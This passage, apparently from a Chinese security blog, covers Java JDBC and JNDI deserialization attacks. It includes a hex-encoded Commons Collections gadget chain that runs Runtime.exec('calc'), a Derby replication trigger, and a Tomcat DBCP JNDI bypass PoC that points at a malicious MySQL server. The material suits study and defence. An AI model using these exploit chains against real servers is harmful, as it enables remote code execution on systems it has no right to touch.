        return "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878";
    }
    public static String base64encode(byte[] bytes) throws Exception
    {
        Class<?> base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder").invoke(null);
        return (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder,bytes);
    }
}

JNDI Client

public static void main(String[] args) throws Exception{
        Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
        //DriverManager.getConnection("jdbc:derby:dbname;create=true");
        DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
    }

先调用注释中的create=true创建一个dbname数据库,才能顺利执行

derby会调用ReplicationMessageTransmit$MasterReceiverThread#readMessage去解析数据

该函数会调用到org.apache.derby.impl.store.replication.net.SocketConnection.readMessage反序列化InputStream

直接打字节码即可

JNDI高版本中利用JDBC绕过

Tomcat和commons-dbcp自带了dbcp连接数据库

dbcp分为dbcp1和dbcp2,同时又分为 commons-dbcp 和 Tomcat 自带的 dbcp。这么一算的话有四个dhcp的类,不过其中代码都是大致相同的

比如tomcat的dhcp2,Tomcat8自带dhcp2,7自带dhcp

以Tomcat8的org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory为例

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>8.5.56</version>
</dependency>

该factory继承了ObjectFactory

重写了getObjectInstance

调用了createDataSource

createDataSource方法,InitialSize > 0时会调用getLogWriter

跟进到getLogWriter,这是个数据库的日志记录函数

继续跟到BasicDataSource.createDatasource,createPollableConnectionFactory连接数据库工厂

createPoolableConnectionFactory构造函数调用到validateConnectionFactory,然后调用了makeObject

在makeObject调用createConnection

createConnection对我们传入的JDBC串进行connect,下面就是根据不同的JDBC串进行connect的流程了,比如这里用的Mysql,就会进到com.mysql.cj.jdbcconnect的流程

payload的JDBC串需要根据目标机现有的数据库依赖进行选择,如果目标机有H2+JDK11就能打RUNSCRIPT之类的,这里假设目标用的MySQL

private static String tomcat_dbcp2_RCE(){
    return "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory";
}
private static String tomcat_dbcp1_RCE(){
    return "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory";
}
private static String commons_dbcp2_RCE(){
    return "org.apache.commons.dbcp2.BasicDataSourceFactory";
}
private static String commons_dbcp1_RCE(){
    return "org.apache.commons.dbcp.BasicDataSourceFactory";
}
public static void main(String[] args) throws Exception {
    LocateRegistry.createRegistry(1099);
    Hashtable<String, String> env = new Hashtable<>();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
    String factory = tomcat_dbcp2_RCE();
    ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true, factory, null);
    String JDBC_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";//根据数据库依赖修改JDBC串
    ref.add(new StringRefAddr("driverClassName","com.mysql.jdbc.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username","root"));
    ref.add(new StringRefAddr("password","password"));
    ref.add(new StringRefAddr("initialSize","1"));
    InitialContext context = new InitialContext(env);
    context.bind("remoteImpl", ref);//创建http:目录,然后创建127.0.0.1:8888目录
}

本地起恶意MySQL Server + JNDI Server

总结

——su18

参考:

《Make JDBC Attacks Brilliant Again》议题

https://github.com/fnmsd/MySQL_Fake_Server

https://p4d0rn.gitbook.io/java/jdbc-attack/h2

3 条评论
某人
表情
可输入 255